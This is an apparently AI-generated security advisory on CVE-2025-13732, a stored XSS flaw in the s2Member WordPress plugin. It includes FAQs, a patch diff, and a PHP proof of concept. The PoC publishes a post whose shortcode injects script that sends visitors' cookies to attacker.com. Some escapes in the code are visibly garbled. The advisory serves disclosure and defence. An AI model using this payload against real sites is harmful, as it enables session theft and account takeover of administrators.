What is CVE-2025-13732?

CVE-2025-13732 is a stored cross-site scripting (XSS) vulnerability in the s2Member WordPress plugin, affecting versions up to and including 251005. It allows authenticated users with Contributor-level access or higher to inject arbitrary JavaScript into posts or pages via the ‘s2Eot’ shortcode.

How does this vulnerability work?

The vulnerability arises from insufficient input sanitization in the shortcode handler, allowing attackers to include malicious JavaScript in shortcode attributes. When other users view the affected content, the injected scripts execute in their browsers, potentially leading to session hijacking or other malicious actions.

Who is affected by this vulnerability?

Any WordPress site using the s2Member plugin versions 251005 or earlier is at risk. Specifically, users with Contributor-level permissions or higher can exploit this vulnerability by injecting malicious scripts into posts or pages.

How can I check if my site is vulnerable?

To determine if your site is vulnerable, check the version of the s2Member plugin installed. If it is version 251005 or earlier, your site is susceptible to CVE-2025-13732. Additionally, review any content created using the ‘s2Eot’ shortcode for potential malicious scripts.

How can I fix the vulnerability?

The vulnerability is patched in version 260101 of the s2Member plugin. Update your plugin to this version or later to mitigate the risk. Regularly check for updates to ensure your plugins are secure.

What is the risk level of this vulnerability?

CVE-2025-13732 has a CVSS score of 6.4, indicating a medium severity level. This means that while the vulnerability requires authentication to exploit, it can still lead to significant security issues, including data theft and account compromise.

What does 'authenticated' mean in this context?

In this context, ‘authenticated’ refers to users who have logged into the WordPress site. Specifically, those with Contributor-level permissions or higher can exploit this vulnerability, making it critical for site administrators to monitor user roles.

What are the practical implications of this vulnerability?

If exploited, this vulnerability can allow attackers to execute arbitrary JavaScript in the context of other users, leading to session hijacking, content manipulation, or redirection to malicious sites. For site administrators, it poses a risk of complete site compromise.

How does the proof of concept demonstrate the vulnerability?

The proof of concept shows how an authenticated attacker can use a malicious shortcode to inject JavaScript that steals cookies from other users. This illustrates the ease of exploitation and the potential for serious consequences if the vulnerability is not addressed.

What additional security measures can I take?

In addition to updating the plugin, consider implementing security plugins that monitor for XSS vulnerabilities, regularly review user permissions, and conduct security audits. Educating users about safe practices can also help mitigate risks.

Is there a way to temporarily mitigate the risk?

If an immediate update is not possible, consider disabling the s2Member plugin until it can be updated. Additionally, restrict access to users with Contributor-level permissions or higher until the vulnerability is patched.

Where can I find more information about this vulnerability?

More information can be found on the official CVE database, security advisories from the s2Member plugin developers, and security-focused websites that analyze vulnerabilities in WordPress plugins.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-13732: s2Member <= 251005 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode (s2member)

CVE ID CVE-2025-13732

Plugin s2member

Severity Medium (CVSS 6.4)

CWE 79

Vulnerable Version 251005

Patched Version 260101

Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13732:
The s2Member WordPress plugin, versions up to and including 251005, contains an authenticated stored cross-site scripting (XSS) vulnerability in its ‘s2Eot’ shortcode handler. This vulnerability allows attackers with Contributor-level permissions or higher to inject arbitrary JavaScript into pages and posts, which executes when other users view the compromised content. The CVSS score of 6.4 reflects the authentication requirement and impact on confidentiality and integrity.

Atomic Edge research identifies the root cause as insufficient input sanitization of shortcode attributes in the `sc-eots-in.inc.php` file. The vulnerable function `c_ws_plugin__s2member_sc_eots_in::sc_eot_details()` processes user-supplied shortcode attributes without proper validation before they reach output contexts. Specifically, the `$attr` array containing shortcode parameters like `future_format`, `past_format`, `next_format`, and `empty_format` passes directly to output functions without escaping HTML special characters.

The exploitation method requires an authenticated attacker with at least Contributor-level access to WordPress. The attacker creates or edits a post or page containing the s2Member shortcode `[s2Eot]` with malicious JavaScript payloads in its format parameters. For example: `[s2Eot future_format=”alert(document.cookie)” past_format=””]`. When administrators or other users view the page containing this shortcode, the JavaScript executes in their browser context, potentially stealing session cookies or performing actions as the victim.

The patch in version 260101 adds comprehensive input sanitization to the shortcode handler in `s2member/src/includes/classes/sc-eots-in.inc.php`. The fix introduces a validation loop (lines 84-94) that applies type casting to numeric attributes (`user_id`, `offset`), `sanitize_text_field()` to text attributes (`debug`, `date_format`, `round_to`, `timezone`), and `wp_kses_post()` to format attributes (`future_format`, `past_format`, `next_format`, `empty_format`). The `wp_kses_post()` function specifically prevents XSS by allowing only safe HTML through WordPress’s KSES filter.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of any user viewing the compromised content. This can lead to session hijacking, account takeover, content manipulation, or redirection to malicious sites. For administrators, this could facilitate complete site compromise through privilege escalation. The stored nature means the payload persists across multiple visits until removed.

Differential between vulnerable and patched code

Code Diff

--- a/s2member/s2member.php
+++ b/s2member/s2member.php
@@ -20,8 +20,8 @@
  */
 /* -- This section for WordPress parsing. ------------------------------------------------------------------------------

-Version: 251005
-Stable tag: 251005
+Version: 260101
+Stable tag: 260101

 SSL Compatible: yes
 bbPress Compatible: yes
@@ -36,7 +36,7 @@
 Authorize.Net Compatible: yes w/s2Member Pro
 ClickBank Compatible: yes w/s2Member Pro

-Tested up to: 6.9-alpha-60900
+Tested up to: 7.0-alpha-61413
 Requires at least: 4.2

 Requires PHP: 5.6.2
@@ -77,7 +77,7 @@
  *
  * @var string
  */
-${__FILE__}['tmp'] = '251005'; //version//
+${__FILE__}['tmp'] = '260101'; //version//
 if(!defined('WS_PLUGIN__S2MEMBER_VERSION'))
 	define('WS_PLUGIN__S2MEMBER_VERSION', ${__FILE__}['tmp']);
 /**
--- a/s2member/src/includes/classes/email-configs.inc.php
+++ b/s2member/src/includes/classes/email-configs.inc.php
@@ -288,11 +288,19 @@
 										$user_full_name = trim ($user->first_name . ' ' . $user->last_name);
 										$user_ip = c_ws_plugin__s2member_utils_ip::current();

-										$do_eval = (!is_multisite () || !c_ws_plugin__s2member_utils_conds::is_multisite_farm () || is_main_site ());
-										$def_vars = get_defined_vars();
+										//251228 Sanitize values before replacements.
+										foreach (array('user_ip', 'user_pass', 'wp_set_pass_url', 'fields', 'custom', 'user_full_name', 'ccaps') as $_var) {
+											if (isset($$_var)) {
+												$$_var = c_ws_plugin__s2member_utils_strings::strip_php_tags_deep($$_var);
+											}
+										}
+										foreach (array('first_name','last_name','user_email','user_login') as $_var) {
+											if (isset($user->$_var)) {
+												$user->$_var = c_ws_plugin__s2member_utils_strings::strip_php_tags_deep($user->$_var);
+											}
+										}

 										if (($sbj = $GLOBALS['WS_PLUGIN__']['s2member']['o']['new_user_email_subject']))
-											if (($sbj = $do_eval ? c_ws_plugin__s2member_utilities::evl($sbj, $def_vars) : $sbj))
 											if (($sbj = c_ws_plugin__s2member_utils_strings::fill_cvs($sbj, $custom)))
 												if (($sbj = preg_replace ('/%%wp_set_pass_url%%/i', c_ws_plugin__s2member_utils_strings::esc_refs ($wp_set_pass_url), $sbj)))
 													if (($sbj = preg_replace ('/%%wp_login_url%%/i', c_ws_plugin__s2member_utils_strings::esc_refs (wp_login_url ()), $sbj)))
@@ -315,7 +323,6 @@
 																														break; // Empty; we can stop here.

 																											if (($msg = $GLOBALS['WS_PLUGIN__']['s2member']['o']['new_user_email_message']))
-																											if (($msg = $do_eval ? c_ws_plugin__s2member_utilities::evl($msg, $def_vars) : $msg))
 																												if (($msg = c_ws_plugin__s2member_utils_strings::fill_cvs($msg, $custom)))
 																													if (($msg = preg_replace ('/%%wp_set_pass_url%%/i', c_ws_plugin__s2member_utils_strings::esc_refs ($wp_set_pass_url), $msg)))
 																														if (($msg = preg_replace ('/%%wp_login_url%%/i', c_ws_plugin__s2member_utils_strings::esc_refs (wp_login_url ()), $msg)))
@@ -339,6 +346,11 @@

 																																												if (($sbj = trim (preg_replace ('/%%(.+?)%%/i', '', $sbj))) && ($msg = trim (preg_replace ('/%%(.+?)%%/i', '', $msg))))
 																																													{
+																																														if (!is_multisite () || !c_ws_plugin__s2member_utils_conds::is_multisite_farm () || is_main_site ())
+																																															{
+																																																$sbj = c_ws_plugin__s2member_utilities::evl($sbj, get_defined_vars());
+																																																$msg = c_ws_plugin__s2member_utilities::evl($msg, get_defined_vars());
+																																															}
 																																														//250617 HTML email support.
 																																														if (empty($GLOBALS['WS_PLUGIN__']['s2member']['o']['html_emails_enabled'])) {
 																																															c_ws_plugin__s2member_email_configs::email_config () . wp_mail ($user->user_email, apply_filters('ws_plugin__s2member_welcome_email_sbj', $sbj, get_defined_vars()), apply_filters('ws_plugin__s2member_welcome_email_msg', $msg, get_defined_vars()), 'From: "' . preg_replace ('/"/', "'", $GLOBALS['WS_PLUGIN__']['s2member']['o']['reg_email_from_name']) . '" <' . $GLOBALS['WS_PLUGIN__']['s2member']['o']['reg_email_from_email'] . '>'."rn".'Content-Type: text/plain; charset=UTF-8') . c_ws_plugin__s2member_email_configs::email_config_release ();;
@@ -363,11 +375,19 @@
 										$user_full_name = trim ($user->first_name . ' ' . $user->last_name);
 										$user_ip = c_ws_plugin__s2member_utils_ip::current();

-										$do_eval = (!is_multisite () || !c_ws_plugin__s2member_utils_conds::is_multisite_farm () || is_main_site ());
-										$def_vars = get_defined_vars();
+										//251228 Sanitize values before replacements.
+										foreach (array('user_ip', 'user_pass', 'wp_set_pass_url', 'fields', 'custom', 'user_full_name', 'ccaps') as $_var) {
+											if (isset($$_var)) {
+												$$_var = c_ws_plugin__s2member_utils_strings::strip_php_tags_deep($$_var);
+											}
+										}
+										foreach (array('first_name','last_name','user_email','user_login') as $_var) {
+											if (isset($user->$_var)) {
+												$user->$_var = c_ws_plugin__s2member_utils_strings::strip_php_tags_deep($user->$_var);
+											}
+										}

 										if (($rec = $GLOBALS['WS_PLUGIN__']['s2member']['o']['new_user_admin_email_recipients']))
-											if (($rec = $do_eval ? c_ws_plugin__s2member_utilities::evl($rec, $def_vars) : $rec))
 											if (($rec = c_ws_plugin__s2member_utils_strings::fill_cvs($rec, $custom)))
 												if (($rec = preg_replace ('/%%wp_login_url%%/i', c_ws_plugin__s2member_utils_strings::esc_refs (wp_login_url ()), $rec)))
 													if (($rec = preg_replace ('/%%role%%/i', c_ws_plugin__s2member_utils_strings::esc_refs ($role), $rec)))
@@ -389,7 +409,6 @@
 																													break; // Empty; we can stop here.

 																										if (($sbj = $GLOBALS['WS_PLUGIN__']['s2member']['o']['new_user_admin_email_subject']))
-																											if (($sbj = $do_eval ? c_ws_plugin__s2member_utilities::evl($sbj, $def_vars) : $sbj))
 																											if (($sbj = c_ws_plugin__s2member_utils_strings::fill_cvs($sbj, $custom)))
 																												if (($sbj = preg_replace ('/%%wp_login_url%%/i', c_ws_plugin__s2member_utils_strings::esc_refs (wp_login_url ()), $sbj)))
 																													if (($sbj = preg_replace ('/%%role%%/i', c_ws_plugin__s2member_utils_strings::esc_refs ($role), $sbj)))
@@ -411,7 +430,6 @@
 																																													break; // Empty; we can stop here.

 																																										if (($msg = $GLOBALS['WS_PLUGIN__']['s2member']['o']['new_user_admin_email_message']))
-																																											if (($msg = $do_eval ? c_ws_plugin__s2member_utilities::evl($msg, $def_vars) : $msg))
 																																											if (($msg = c_ws_plugin__s2member_utils_strings::fill_cvs($msg, $custom)))
 																																												if (($msg = preg_replace ('/%%wp_login_url%%/i', c_ws_plugin__s2member_utils_strings::esc_refs (wp_login_url ()), $msg)))
 																																													if (($msg = preg_replace ('/%%role%%/i', c_ws_plugin__s2member_utils_strings::esc_refs ($role), $msg)))
@@ -434,6 +452,12 @@

 																																																										if (($rec = trim (preg_replace ('/%%(.+?)%%/i', '', $rec))) && ($sbj = trim (preg_replace ('/%%(.+?)%%/i', '', $sbj))) && ($msg = trim (preg_replace ('/%%(.+?)%%/i', '', $msg))))
 																																																											{
+																																																												if (!is_multisite () || !c_ws_plugin__s2member_utils_conds::is_multisite_farm () || is_main_site ())
+																																																													{
+																																																														$rec = c_ws_plugin__s2member_utilities::evl($rec, get_defined_vars());
+																																																														$sbj = c_ws_plugin__s2member_utilities::evl($sbj, get_defined_vars());
+																																																														$msg = c_ws_plugin__s2member_utilities::evl($msg, get_defined_vars());
+																																																													}
 																																																												foreach (c_ws_plugin__s2member_utils_strings::parse_emails ($rec) as $recipient) // A list of receipients.
 																																																													{
 																																																														//250617 HTML email support.
--- a/s2member/src/includes/classes/paypal-notify-in-subscr-modify-w-level.inc.php
+++ b/s2member/src/includes/classes/paypal-notify-in-subscr-modify-w-level.inc.php
@@ -141,6 +141,7 @@
 							$msg = $GLOBALS['WS_PLUGIN__']['s2member']['o']['modification_email_message']; // The same for standard and w/ Pro-Forms.
 							$rec = $GLOBALS['WS_PLUGIN__']['s2member']['o']['modification_email_recipients']; // The same for standard and w/ Pro-Forms.

+							$paypal = c_ws_plugin__s2member_utils_strings::strip_php_tags_deep($paypal); //251226
 							if(($rec = c_ws_plugin__s2member_utils_strings::fill_cvs($rec, $paypal['custom'])) && ($rec = preg_replace('/%%subscr_id%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['subscr_id']), $rec)))
 								if(($rec = preg_replace('/%%subscr_baid%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['subscr_baid']), $rec)) && ($rec = preg_replace('/%%subscr_cid%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['subscr_cid']), $rec)))
 									if(($rec = preg_replace('/%%currency%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['currency']), $rec)) && ($rec = preg_replace('/%%currency_symbol%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['currency_symbol']), $rec)))
--- a/s2member/src/includes/classes/paypal-notify-in-subscr-or-wa-w-level.inc.php
+++ b/s2member/src/includes/classes/paypal-notify-in-subscr-or-wa-w-level.inc.php
@@ -198,6 +198,7 @@
 								$msg = $GLOBALS['WS_PLUGIN__']['s2member']['o']['modification_email_message']; // The same for standard and w/ Pro-Forms.
 								$rec = $GLOBALS['WS_PLUGIN__']['s2member']['o']['modification_email_recipients']; // The same for standard and w/ Pro-Forms.

+								$paypal = c_ws_plugin__s2member_utils_strings::strip_php_tags_deep($paypal); //251226
 								if(($rec = c_ws_plugin__s2member_utils_strings::fill_cvs($rec, $paypal['custom'])) && ($rec = preg_replace('/%%subscr_id%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['subscr_id']), $rec)))
 									if(($rec = preg_replace('/%%subscr_baid%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['subscr_baid']), $rec)) && ($rec = preg_replace('/%%subscr_cid%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['subscr_cid']), $rec)))
 										if(($rec = preg_replace('/%%currency%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['currency']), $rec)) && ($rec = preg_replace('/%%currency_symbol%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['currency_symbol']), $rec)))
@@ -464,6 +465,7 @@
 							$msg = preg_replace('/%%registration_url%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($registration_url), $GLOBALS['WS_PLUGIN__']['s2member']['o'][(($_REQUEST['s2member_paypal_proxy'] && preg_match('/pro-emails/', $_REQUEST['s2member_paypal_proxy_use'])) ? 'pro_' : '').'signup_email_message']);
 							$rec = preg_replace('/%%registration_url%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($registration_url), $GLOBALS['WS_PLUGIN__']['s2member']['o'][(($_REQUEST['s2member_paypal_proxy'] && preg_match('/pro-emails/', $_REQUEST['s2member_paypal_proxy_use'])) ? 'pro_' : '').'signup_email_recipients']);

+							$paypal = c_ws_plugin__s2member_utils_strings::strip_php_tags_deep($paypal); //251226
 							if(($rec = c_ws_plugin__s2member_utils_strings::fill_cvs($rec, $paypal['custom'])) && ($rec = preg_replace('/%%subscr_id%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['subscr_id']), $rec)))
 								if(($rec = preg_replace('/%%subscr_baid%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['subscr_baid']), $rec)) && ($rec = preg_replace('/%%subscr_cid%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['subscr_cid']), $rec)))
 									if(($rec = preg_replace('/%%currency%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['currency']), $rec)) && ($rec = preg_replace('/%%currency_symbol%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['currency_symbol']), $rec)))
--- a/s2member/src/includes/classes/paypal-notify-in-wa-ccaps-wo-level.inc.php
+++ b/s2member/src/includes/classes/paypal-notify-in-wa-ccaps-wo-level.inc.php
@@ -116,6 +116,7 @@
 								$msg = $GLOBALS['WS_PLUGIN__']['s2member']['o']['ccap_email_message']; // The same for standard and w/ Pro-Forms.
 								$rec = $GLOBALS['WS_PLUGIN__']['s2member']['o']['ccap_email_recipients']; // The same for standard and w/ Pro-Forms.

+								$paypal = c_ws_plugin__s2member_utils_strings::strip_php_tags_deep($paypal); //251226
 								if(($rec = c_ws_plugin__s2member_utils_strings::fill_cvs($rec, $paypal['custom'])) && ($rec = preg_replace('/%%(?:subscr|txn)_id%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['txn_id']), $rec)))
 									if(($rec = preg_replace('/%%(?:subscr|txn)_baid%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['txn_baid']), $rec)) && ($rec = preg_replace('/%%(?:subscr|txn)_cid%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['txn_cid']), $rec)))
 										if(($rec = preg_replace('/%%currency%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['currency']), $rec)) && ($rec = preg_replace('/%%currency_symbol%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['currency_symbol']), $rec)))
--- a/s2member/src/includes/classes/paypal-notify-in-web-accept-sp.inc.php
+++ b/s2member/src/includes/classes/paypal-notify-in-web-accept-sp.inc.php
@@ -98,6 +98,7 @@
 						$rec = preg_replace('/%%sp_access_url%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($sp_access_url), $GLOBALS['WS_PLUGIN__']['s2member']['o'][(($_REQUEST['s2member_paypal_proxy'] && preg_match('/pro-emails/', $_REQUEST['s2member_paypal_proxy_use'])) ? 'pro_' : '').'sp_email_recipients']);
 						$rec = preg_replace('/%%sp_access_exp%%/i', c_ws_plugin__s2member_utils_strings::esc_refs(c_ws_plugin__s2member_utils_time::approx_time_difference(time(), strtotime('+'.$paypal['hours'].' hours'))), $rec);

+						$paypal = c_ws_plugin__s2member_utils_strings::strip_php_tags_deep($paypal); //251226
 						if(($rec = c_ws_plugin__s2member_utils_strings::fill_cvs($rec, $paypal['custom'])) && ($rec = preg_replace('/%%txn_id%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['txn_id']), $rec)))
 							if(($rec = preg_replace('/%%amount%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['mc_gross']), $rec))) // Full amount of the payment, before fee is subtracted.
 								if(($rec = preg_replace('/%%currency%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['currency']), $rec)) && ($rec = preg_replace('/%%currency_symbol%%/i', c_ws_plugin__s2member_utils_strings::esc_refs($paypal['currency_symbol']), $rec)))
--- a/s2member/src/includes/classes/sc-eots-in.inc.php
+++ b/s2member/src/includes/classes/sc-eots-in.inc.php
@@ -84,6 +84,17 @@
 			do_action('ws_plugin__s2member_before_sc_eot_details_after_shortcode_atts', get_defined_vars());
 			unset($__refs, $__v); // Allow variables to be modified by reference.

+			//251223 Sanitize shortcode attributes
+			foreach ($attr as $key => $value) {
+					if (in_array($key, array('user_id', 'offset'), true)) {
+							$attr[$key] = (int) $value;
+					} elseif (in_array($key, array('debug', 'date_format', 'round_to', 'timezone'), true)) {
+							$attr[$key] = sanitize_text_field($value);
+					} elseif (in_array($key, array('future_format', 'past_format', 'next_format', 'empty_format'), true)) {
+							$attr[$key] = wp_kses_post($value);
+					}
+			}
+
 			// Collect and cache the EOT for this user.

 			$prefix    = 's2m_eot_'; // Transient prefix for this shortcode.
--- a/s2member/src/includes/classes/sc-files-in.inc.php
+++ b/s2member/src/includes/classes/sc-files-in.inc.php
@@ -109,6 +109,33 @@
 			do_action('ws_plugin__s2member_before_sc_get_stream', get_defined_vars());
 			unset($__refs, $__v); // Housekeeping.

+			//251225 Validate s2Stream player-related shortcode attributes.
+			$attr = (array) $attr;
+			if (isset($attr['player_primary'])) {
+					$attr['player_primary'] = strtolower(trim($attr['player_primary']));
+					if (!in_array($attr['player_primary'], array('html5', 'flash'), true)) {
+							unset($attr['player_primary']); // fallback to default
+					}
+			}
+			if (isset($attr['player_stretching'])) {
+					$attr['player_stretching'] = strtolower(trim($attr['player_stretching']));
+					if (!in_array($attr['player_stretching'], array('uniform', 'exactfit', 'fill', 'none'), true)) {
+							unset($attr['player_stretching']);
+					}
+			}
+			if (isset($attr['player_startparam'])) {
+					$attr['player_startparam'] = (int) $attr['player_startparam'];
+			}
+			if (isset($attr['player_option_blocks'])) {
+					$value = (string) $attr['player_option_blocks'];
+					if (preg_match('/[<>]/', $value)) {
+							unset($attr['player_option_blocks']);
+					} else {
+							$value = preg_replace('/b(onw+|eval|Function|alert|prompt|confirm)b/i', '', $value);
+							$attr['player_option_blocks'] = trim($value);
+					}
+			}
+
 			$attr = c_ws_plugin__s2member_utils_strings::trim_qts_deep((array)$attr);

 			$attr = shortcode_atts(array('download'             => '', 'file_download' => '', 'download_key' => '',
--- a/s2member/src/includes/classes/sc-s-badge-in.inc.php
+++ b/s2member/src/includes/classes/sc-s-badge-in.inc.php
@@ -49,6 +49,13 @@
 			unset($__refs, $__v);

 			$attr = c_ws_plugin__s2member_utils_strings::trim_qts_deep((array)$attr);
+
+			//251225 Validate attr value.
+			$attr['v'] = (string)(int)$attr['v'];
+			if (!in_array($attr['v'], array('1','2','3'), true)) {
+					$attr['v'] = '1';
+			}
+
 			$attr = shortcode_atts(array('v' => '1'), $attr); // One attribute.
 			$code = c_ws_plugin__s2member_utilities::s_badge_gen($attr['v'], FALSE, FALSE);

--- a/s2member/src/vendor/autoload.php
+++ b/s2member/src/vendor/autoload.php
@@ -4,4 +4,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInitaab217d409fd27724079ade0d0a9733d::getLoader();
+return ComposerAutoloaderInit3025847020b9532a76adee887db24a76::getLoader();
--- a/s2member/src/vendor/composer/autoload_real.php
+++ b/s2member/src/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInitaab217d409fd27724079ade0d0a9733d
+class ComposerAutoloaderInit3025847020b9532a76adee887db24a76
 {
     private static $loader;

@@ -22,15 +22,15 @@
             return self::$loader;
         }

-        spl_autoload_register(array('ComposerAutoloaderInitaab217d409fd27724079ade0d0a9733d', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit3025847020b9532a76adee887db24a76', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader();
-        spl_autoload_unregister(array('ComposerAutoloaderInitaab217d409fd27724079ade0d0a9733d', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit3025847020b9532a76adee887db24a76', 'loadClassLoader'));

         $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
         if ($useStaticLoader) {
             require_once __DIR__ . '/autoload_static.php';

-            call_user_func(ComposerAutoloadComposerStaticInitaab217d409fd27724079ade0d0a9733d::getInitializer($loader));
+            call_user_func(ComposerAutoloadComposerStaticInit3025847020b9532a76adee887db24a76::getInitializer($loader));
         } else {
             $map = require __DIR__ . '/autoload_namespaces.php';
             foreach ($map as $namespace => $path) {
@@ -51,19 +51,19 @@
         $loader->register(true);

         if ($useStaticLoader) {
-            $includeFiles = ComposerAutoloadComposerStaticInitaab217d409fd27724079ade0d0a9733d::$files;
+            $includeFiles = ComposerAutoloadComposerStaticInit3025847020b9532a76adee887db24a76::$files;
         } else {
             $includeFiles = require __DIR__ . '/autoload_files.php';
         }
         foreach ($includeFiles as $fileIdentifier => $file) {
-            composerRequireaab217d409fd27724079ade0d0a9733d($fileIdentifier, $file);
+            composerRequire3025847020b9532a76adee887db24a76($fileIdentifier, $file);
         }

         return $loader;
     }
 }

-function composerRequireaab217d409fd27724079ade0d0a9733d($fileIdentifier, $file)
+function composerRequire3025847020b9532a76adee887db24a76($fileIdentifier, $file)
 {
     if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
         require $file;
--- a/s2member/src/vendor/composer/autoload_static.php
+++ b/s2member/src/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInitaab217d409fd27724079ade0d0a9733d
+class ComposerStaticInit3025847020b9532a76adee887db24a76
 {
     public static $files = array (
         '5255c38a0faeba867671b61dfda6d864' => __DIR__ . '/..' . '/paragonie/random_compat/lib/random.php',
@@ -30,7 +30,7 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->classMap = ComposerStaticInitaab217d409fd27724079ade0d0a9733d::$classMap;
+            $loader->classMap = ComposerStaticInit3025847020b9532a76adee887db24a76::$classMap;

         }, null, ClassLoader::class);
     }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13732 - s2Member <= 251005 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode

<?php

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/post.php';
$username = 'contributor';
$password = 'password123';

// Payload to steal admin cookies via XSS
$malicious_shortcode = '[s2Eot future_format="<script>var i=new Image();i.src="http://attacker.com/steal.php?c="+encodeURIComponent(document.cookie);</script>" past_format=""]';

// Step 1: Authenticate to WordPress
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, str_replace('post.php', 'admin-ajax.php', $target_url));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'ajaxlogin',
    'username' => $username,
    'password' => $password,
    'security' => 'nonce_placeholder'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
$response = curl_exec($ch);

// Step 2: Create a new post with malicious shortcode
$post_data = [
    'post_title' => 'Test Post with XSS',
    'post_content' => $malicious_shortcode . 'nnThis post contains a malicious s2Member shortcode.',
    'post_status' => 'publish',
    'action' => 'editpost',
    'post_type' => 'post',
    '_wpnonce' => 'nonce_placeholder', // Requires valid nonce from WordPress
    'user_ID' => '2' // Requires valid user ID
];

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_REFERER, $target_url . '?post=NEW&action=edit');
$response = curl_exec($ch);
curl_close($ch);

// Step 3: Verify payload insertion
if (strpos($response, 's2Eot') !== false || strpos($response, 'post-published') !== false) {
    echo "[+] Malicious post created successfully.n";
    echo "[+] When administrators view this post, their cookies will be sent to attacker.com.n";
} else {
    echo "[-] Post creation failed. Check authentication and nonce values.n";
}

?>

Frequently Asked Questions

What is CVE-2025-13732?
Overview of the vulnerability
CVE-2025-13732 is a stored cross-site scripting (XSS) vulnerability in the s2Member WordPress plugin, affecting versions up to and including 251005. It allows authenticated users with Contributor-level access or higher to inject arbitrary JavaScript into posts or pages via the ‘s2Eot’ shortcode.
How does this vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient input sanitization in the shortcode handler, allowing attackers to include malicious JavaScript in shortcode attributes. When other users view the affected content, the injected scripts execute in their browsers, potentially leading to session hijacking or other malicious actions.
Who is affected by this vulnerability?
Identifying at-risk users
Any WordPress site using the s2Member plugin versions 251005 or earlier is at risk. Specifically, users with Contributor-level permissions or higher can exploit this vulnerability by injecting malicious scripts into posts or pages.
How can I check if my site is vulnerable?
Steps to identify vulnerability
To determine if your site is vulnerable, check the version of the s2Member plugin installed. If it is version 251005 or earlier, your site is susceptible to CVE-2025-13732. Additionally, review any content created using the ‘s2Eot’ shortcode for potential malicious scripts.
How can I fix the vulnerability?
Updating the plugin
The vulnerability is patched in version 260101 of the s2Member plugin. Update your plugin to this version or later to mitigate the risk. Regularly check for updates to ensure your plugins are secure.
What is the risk level of this vulnerability?
Understanding the CVSS score
CVE-2025-13732 has a CVSS score of 6.4, indicating a medium severity level. This means that while the vulnerability requires authentication to exploit, it can still lead to significant security issues, including data theft and account compromise.
What does 'authenticated' mean in this context?
Clarification on user roles
In this context, ‘authenticated’ refers to users who have logged into the WordPress site. Specifically, those with Contributor-level permissions or higher can exploit this vulnerability, making it critical for site administrators to monitor user roles.
What are the practical implications of this vulnerability?
Potential consequences
If exploited, this vulnerability can allow attackers to execute arbitrary JavaScript in the context of other users, leading to session hijacking, content manipulation, or redirection to malicious sites. For site administrators, it poses a risk of complete site compromise.
